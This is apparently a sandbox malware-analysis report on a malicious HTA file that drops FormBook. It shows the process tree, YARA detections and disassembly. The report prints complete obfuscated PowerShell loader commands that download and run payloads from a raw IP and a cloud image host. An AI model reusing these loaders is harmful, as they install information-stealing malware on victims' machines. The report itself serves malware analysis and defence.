                                                      Start date:07/12/2024
                                                      Path:C:\Windows\SysWOW64\mshta.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:mshta.exe "C:\Users\user\Desktop\seemybestdayguvenu.hta"
                                                      Imagebase:0xc20000
                                                      File size:13'312 bytes
                                                      MD5 hash:06B02D5C097C7DB1F109749C45F3F505
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:moderate
                                                      Has exited:true

                                                      General

                                                      Target ID:1
                                                      Start time:09:47:40
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                                                      Imagebase:0x1c0000
                                                      File size:236'544 bytes
                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:2
                                                      Start time:09:47:40
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff66e660000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:3
                                                      Start time:09:47:40
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                                                      Imagebase:0xb0000
                                                      File size:433'152 bytes
                                                      MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:4
                                                      Start time:09:47:43
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline"
                                                      Imagebase:0x6d0000
                                                      File size:2'141'552 bytes
                                                      MD5 hash:EB80BB1CA9B9C7F516FF69AFCFD75B7D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:moderate
                                                      Has exited:true

                                                      General

                                                      Target ID:5
                                                      Start time:09:47:43
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA8D6.tmp" "c:\Users\user\AppData\Local\Temp\3cxbggpe\CSC280B62266E03482F8F906EDB13385254.TMP"
                                                      Imagebase:0x6d0000
                                                      File size:46'832 bytes
                                                      MD5 hash:70D838A7DC5B359C3F938A71FAD77DB0
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:moderate
                                                      Has exited:true

                                                      General

                                                      Target ID:7
                                                      Start time:09:47:49
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\SysWOW64\wscript.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS"
                                                      Imagebase:0xb60000
                                                      File size:147'456 bytes
                                                      MD5 hash:FF00E0480075B095948000BDC66E81F0
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:8
                                                      Start time:09:47:49
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho
                                                      Imagebase:0xb0000
                                                      File size:433'152 bytes
                                                      MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:9
                                                      Start time:09:47:49
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff66e660000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:12
                                                      Start time:09:48:14
                                                      Start date:07/12/2024
                                                      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                                                      Imagebase:0x740000
                                                      File size:56'368 bytes
                                                      MD5 hash:FDA8C8F2A4E100AFB14C13DFCBCAB2D2
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2882521949.0000000000DC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                      Has exited:true

                                                      Disassembly

                                                      Reset < >

                                                        Executed Functions

                                                        Function 06490FDF Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000003.2134976883.0000000006490000.00000010.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_3_6490000_mshta.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                        • Instruction ID: afbc28355bb923fa73924481355380208f1c52151abce31de96bca1b6a2f9655
                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                        • Instruction Fuzzy Hash:
                                                        Function 06490FD7 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000003.2134976883.0000000006490000.00000010.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_3_6490000_mshta.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                        • Instruction ID: afbc28355bb923fa73924481355380208f1c52151abce31de96bca1b6a2f9655
                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                        • Instruction Fuzzy Hash:
                                                        Function 06490FE7 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000003.2134976883.0000000006490000.00000010.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_3_6490000_mshta.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                        • Instruction ID: afbc28355bb923fa73924481355380208f1c52151abce31de96bca1b6a2f9655
                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                        • Instruction Fuzzy Hash:

                                                        Execution Graph

                                                        Execution Coverage:3.7%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:0%
                                                        Total number of Nodes:58
                                                        Total number of Limit Nodes:8
                                                        execution_graph 12923 2877480 12924 28774be 12923->12924 12925 28775fe 12923->12925 12924->12925 12931 2877a08 12924->12931 12939 2877c45 12924->12939 12946 2877da8 12924->12946 12953 2877a18 12924->12953 12926 28775df 12935 2877a18 12931->12935 12932 2877b30 12932->12926 12934 2877ea8 12934->12926 12935->12932 12936 2877d57 URLDownloadToFileW 12935->12936 12961 70c45f5 12935->12961 12972 70c4610 12935->12972 12936->12934 12942 2877b9a 12939->12942 12941 2877ea8 12941->12926 12943 2877d57 URLDownloadToFileW 12942->12943 12944 70c45f5 6 API calls 12942->12944 12945 70c4610 6 API calls 12942->12945 12943->12941 12944->12943 12945->12943 12947 2877cf9 12946->12947 12951 70c45f5 6 API calls 12947->12951 12952 70c4610 6 API calls 12947->12952 12948 2877d57 URLDownloadToFileW 12950 2877ea8 12948->12950 12950->12926 12951->12948 12952->12948 12957 2877a4c 12953->12957 12954 2877b30 12954->12926 12956 2877ea8 12956->12926 12957->12954 12958 2877d57 URLDownloadToFileW 12957->12958 12959 70c45f5 6 API calls 12957->12959 12960 70c4610 6 API calls 12957->12960 12958->12956 12959->12958 12960->12958 12963 70c45f8 12961->12963 12962 70c4a93 12962->12936 12963->12962 12965 2877c45 7 API calls 12963->12965 12968 2877a08 7 API calls 12963->12968 12969 2877a18 7 API calls 12963->12969 12971 2877da8 7 API calls 12963->12971 12983 2871c18 12963->12983 12987 2871c00 12963->12987 12991 2871ba1 12963->12991 12964 70c4a34 12964->12936 12965->12964 12968->12964 12969->12964 12971->12964 12973 70c4a93 12972->12973 12974 70c4641 12972->12974 12973->12936 12974->12973 12976 2877c45 7 API calls 12974->12976 12977 2871ba1 URLDownloadToFileW 12974->12977 12978 2871c00 URLDownloadToFileW 12974->12978 12979 2877a08 7 API calls 12974->12979 12980 2877a18 7 API calls 12974->12980 12981 2871c18 URLDownloadToFileW 12974->12981 12982 2877da8 7 API calls 12974->12982 12975 70c4a34 12975->12936 12976->12975 12977->12975 12978->12975 12979->12975 12980->12975 12981->12975 12982->12975 12984 2871c1d URLDownloadToFileW 12983->12984 12986 2877ea8 12984->12986 12986->12964 12988 2877e00 URLDownloadToFileW 12987->12988 12990 2877ea8 12988->12990 12990->12964 12992 2871b9d 12991->12992 12992->12991 12993 2877e71 URLDownloadToFileW 12992->12993 12994 2871bc6 12992->12994 12995 2877ea8 12993->12995 12994->12964 12995->12964

                                                        Executed Functions

                                                        Function 02877A18 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 354COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 0 2877a18-2877a4a 1 2877a90 0->1 2 2877a4c-2877a53 0->2 3 2877a93-2877acf 1->3 4 2877a55-2877a62 2->4 5 2877a64 2->5 12 2877ad5-2877ade 3->12 13 2877b58-2877b63 3->13 6 2877a66-2877a68 4->6 5->6 7 2877a6f-2877a71 6->7 8 2877a6a-2877a6d 6->8 14 2877a73-2877a80 7->14 15 2877a82 7->15 11 2877a8e 8->11 11->3 12->13 17 2877ae0-2877ae6 12->17 18 2877b65-2877b68 13->18 19 2877b72-2877b94 13->19 16 2877a84-2877a86 14->16 15->16 16->11 21 2877aec-2877af9 17->21 22 2877de8-2877e52 17->22 18->19 27 2877c5e-2877d52 19->27 28 2877b9a-2877ba3 19->28 23 2877b4f-2877b56 21->23 24 2877afb-2877b2e 21->24 37 2877e54-2877e5a 22->37 38 2877e5d-2877e63 22->38 23->13 23->17 39 2877b30-2877b33 24->39 40 2877b4b 24->40 75 2877d55 call 70c45f5 27->75 76 2877d55 call 70c4610 27->76 28->22 31 2877ba9-2877be7 28->31 47 2877c01-2877c14 31->47 48 2877be9-2877bff 31->48 37->38 42 2877e65-2877e6e 38->42 43 2877e71-2877ea6 URLDownloadToFileW 38->43 44 2877b35-2877b38 39->44 45 2877b3f-2877b48 39->45 40->23 42->43 49 2877eaf-2877ec3 43->49 50 2877ea8-2877eae 43->50 44->45 51 2877c16-2877c1d 47->51 48->51 50->49 54 2877c42 51->54 55 2877c1f-2877c30 51->55 54->27 55->54 58 2877c32-2877c3b 55->58 58->54 69 2877d57-2877d60 70 2877d62-2877d78 69->70 71 2877d7a-2877d8d 69->71 72 2877d8f-2877d96 70->72 71->72 73 2877da5 72->73 74 2877d98-2877d9e 72->74 73->22 74->73 75->69 76->69
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2241588127.0000000002870000.00000040.00000800.00020000.00000000.sdmp, Offset: 02870000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_2870000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: S=O
                                                        • API String ID: 0-489708868
                                                        • Opcode ID: f561f07da8b36a83c613a4e114d0cb3de427e065b262dc32ee3cdf7f48fc0701
                                                        • Instruction ID: a0272bf9b77f34815c4c89583c45aec7850d7d1ec9d6c14eff9edb2b8acbe92d
                                                        • Opcode Fuzzy Hash: f561f07da8b36a83c613a4e114d0cb3de427e065b262dc32ee3cdf7f48fc0701
                                                        • Instruction Fuzzy Hash: 94E10B79A00219EFDB05CF98D984A9EFBB2FF88314F248159E908AB351C775ED51CB90
                                                        Function 02871BA1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145filenetworkCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 77 2871ba1-2871ba4 78 2871ba6-2871bac 77->78 79 2871c04-2871c07 77->79 81 2871bae-2871bb1 78->81 82 2871c0c-2871c13 78->82 80 2877e00-2877e52 79->80 92 2877e54-2877e5a 80->92 93 2877e5d-2877e63 80->93 84 2871bb3-2871bb4 81->84 85 2871b9d-2871b9f 81->85 83 2871c14-2871c17 82->83 86 2871c01-2871c02 83->86 87 2871c19-2871c1c 83->87 84->83 89 2871bb6-2871bc4 84->89 85->77 86->79 94 2871bf3-2871bfb 86->94 90 2871c1e 87->90 91 2871c7c-2871c83 87->91 98 2871c24-2871c67 89->98 99 2871bc6-2871bce 89->99 90->98 91->80 92->93 96 2877e65-2877e6e 93->96 97 2877e71-2877ea6 URLDownloadToFileW 93->97 94->86 96->97 100 2877eaf-2877ec3 97->100 101 2877ea8-2877eae 97->101 98->91 101->100
                                                        APIs
                                                        • URLDownloadToFileW.URLMON(?,00000000,00000000,?,00000001), ref: 02877E99
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2241588127.0000000002870000.00000040.00000800.00020000.00000000.sdmp, Offset: 02870000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_2870000_powershell.jbxd
                                                        Similarity
                                                        • API ID: DownloadFile
                                                        • String ID: S=O
                                                        • API String ID: 1407266417-489708868
                                                        • Opcode ID: 05c6204a4e00d54b0e8c312c3bb58037cd81aff36e589161c30907edc148ef50
                                                        • Instruction ID: ba5f6fad22ae24e64543460d30607c851f2498a89e830d4cdddf391be5d1e712
                                                        • Opcode Fuzzy Hash: 05c6204a4e00d54b0e8c312c3bb58037cd81aff36e589161c30907edc148ef50
                                                        • Instruction Fuzzy Hash: 4841AF7A9093499FCB01DFA9D8486DEBFB0FB4A304F14845AE518EB212D3B49D14CBE1
                                                        Function 02871C00 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68filenetworkCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 104 2871c00-2877e52 107 2877e54-2877e5a 104->107 108 2877e5d-2877e63 104->108 107->108 109 2877e65-2877e6e 108->109 110 2877e71-2877ea6 URLDownloadToFileW 108->110 109->110 111 2877eaf-2877ec3 110->111 112 2877ea8-2877eae 110->112 112->111
                                                        APIs
                                                        • URLDownloadToFileW.URLMON(?,00000000,00000000,?,00000001), ref: 02877E99
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2241588127.0000000002870000.00000040.00000800.00020000.00000000.sdmp, Offset: 02870000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_2870000_powershell.jbxd
                                                        Similarity
                                                        • API ID: DownloadFile
                                                        • String ID: S=O
                                                        • API String ID: 1407266417-489708868
                                                        • Opcode ID: b02f4fb9901aa43d8077c7a6b9049bdea2f405885db0c40baf78590d0f33ba16
                                                        • Instruction ID: 807c84c974dfaa3a38c90a8559709a9bb3cfe2e558f5b01ce9dbee09fa9fc36d
                                                        • Opcode Fuzzy Hash: b02f4fb9901aa43d8077c7a6b9049bdea2f405885db0c40baf78590d0f33ba16
                                                        • Instruction Fuzzy Hash: 262106B6D0161ADFCB00CF99D984BDEFBB4FB48714F10851AE918A7210D374AA54CFA4
                                                        Function 070C1F40 Relevance: .6, Instructions: 584COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.2246581507.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_70c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5e2992c893eda594964edab5566628913b7f4797a7d2a9d3e8ed4e99c0322ffe
                                                        • Instruction ID: 0339a3f285d554adf9f219779236bb3f44cb55b076dee0408b64cbd7b167fe60
                                                        • Opcode Fuzzy Hash: 5e2992c893eda594964edab5566628913b7f4797a7d2a9d3e8ed4e99c0322ffe
                                                        • Instruction Fuzzy Hash: 2812F4B1B042069FDB55DB68881076EBBE2BFD6210F1481BED645CF792DB71C842C7A2
                                                        Function 070C4610 Relevance: .4, Instructions: 443COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 297 70c4610-70c463b 298 70c4641-70c4646 297->298 299 70c4af2 297->299 300 70c465e-70c4663 298->300 301 70c4648-70c464e 298->301 304 70c4af5-70c4af8 299->304 305 70c4665-70c4671 300->305 306 70c4673 300->306 302 70c4650 301->302 303 70c4652-70c465c 301->303 302->300 303->300 304->304 307 70c4af9-70c4afa 304->307 308 70c4675-70c4677 305->308 306->308 310 70c4afc-70c4b00 307->310 311 70c4b02-70c4b25 307->311 312 70c467d-70c4687 308->312 313 70c4a93-70c4a9d 308->313 310->311 316 70c4b35 311->316 317 70c4b27-70c4b33 311->317 312->299 318 70c468d-70c4692 312->318 314 70c4a9f-70c4aa8 313->314 315 70c4aab-70c4ab1 313->315 319 70c4ab7-70c4ac3 315->319 320 70c4ab3-70c4ab5 315->320 321 70c4b37-70c4b39 316->321 317->321 322 70c46aa-70c46b8 318->322 323 70c4694-70c469a 318->323 324 70c4ac5-70c4aef 319->324 320->324 325 70c4b7b-70c4b85 321->325 326 70c4b3b-70c4b42 321->326 322->313 335 70c46be-70c46dd 322->335 327 70c469c 323->327 328 70c469e-70c46a8 323->328 330 70c4b8e-70c4b94 325->330 331 70c4b87-70c4b8b 325->331 326->325 333 70c4b44-70c4b61 326->333 327->322 328->322 336 70c4b9a-70c4ba6 330->336 337 70c4b96-70c4b98 330->337 341 70c4bc9-70c4bce 333->341 342 70c4b63-70c4b75 333->342 335->313 349 70c46e3-70c46ed 335->349 339 70c4ba8-70c4bc6 336->339 337->339 341->342 342->325 349->299 351 70c46f3-70c46f8 349->351 352 70c46fa-70c4700 351->352 353 70c4710-70c4714 351->353 355 70c4704-70c470e 352->355 356 70c4702 352->356 353->313 354 70c471a-70c471e 353->354 354->313 357 70c4724-70c4728 354->357 355->353 356->353 357->313 358 70c472e-70c473e 357->358 360 70c4744-70c476b 358->360 361 70c47c6-70c4815 358->361 366 70c476d-70c4773 360->366 367 70c4785-70c47b3 360->367 378 70c481c-70c482f 361->378 368 70c4775 366->368 369 70c4777-70c4783 366->369 375 70c47b5-70c47b7 367->375 376 70c47c1-70c47c4 367->376 368->367 369->367 375->376 376->378 379 70c4835-70c485c 378->379 380 70c48b7-70c4906 378->380 385 70c485e-70c4864 379->385 386 70c4876-70c48a4 379->386 397 70c490d-70c4920 380->397 387 70c4868-70c4874 385->387 388 70c4866 385->388 394 70c48a6-70c48a8 386->394 395 70c48b2-70c48b5 386->395 387->386 388->386 394->395 395->397 398 70c49a8-70c49f7 397->398 399 70c4926-70c494d 397->399 416 70c49fe-70c4a2c 398->416 404 70c494f-70c4955 399->404 405 70c4967-70c4995 399->405 406 70c4959-70c4965 404->406 407 70c4957 404->407 413 70c4997-70c4999 405->413 414 70c49a3-70c49a6 405->414 406->405 407->405 413->414 414->416 421 70c4a2f call 2877c45 416->421 422 70c4a2f call 2871ba1 416->422 423 70c4a2f call 2871c00 416->423 424 70c4a2f call 2877a08 416->424 425 70c4a2f call 2877a18 416->425 426 70c4a2f call 2871c18 416->426 427 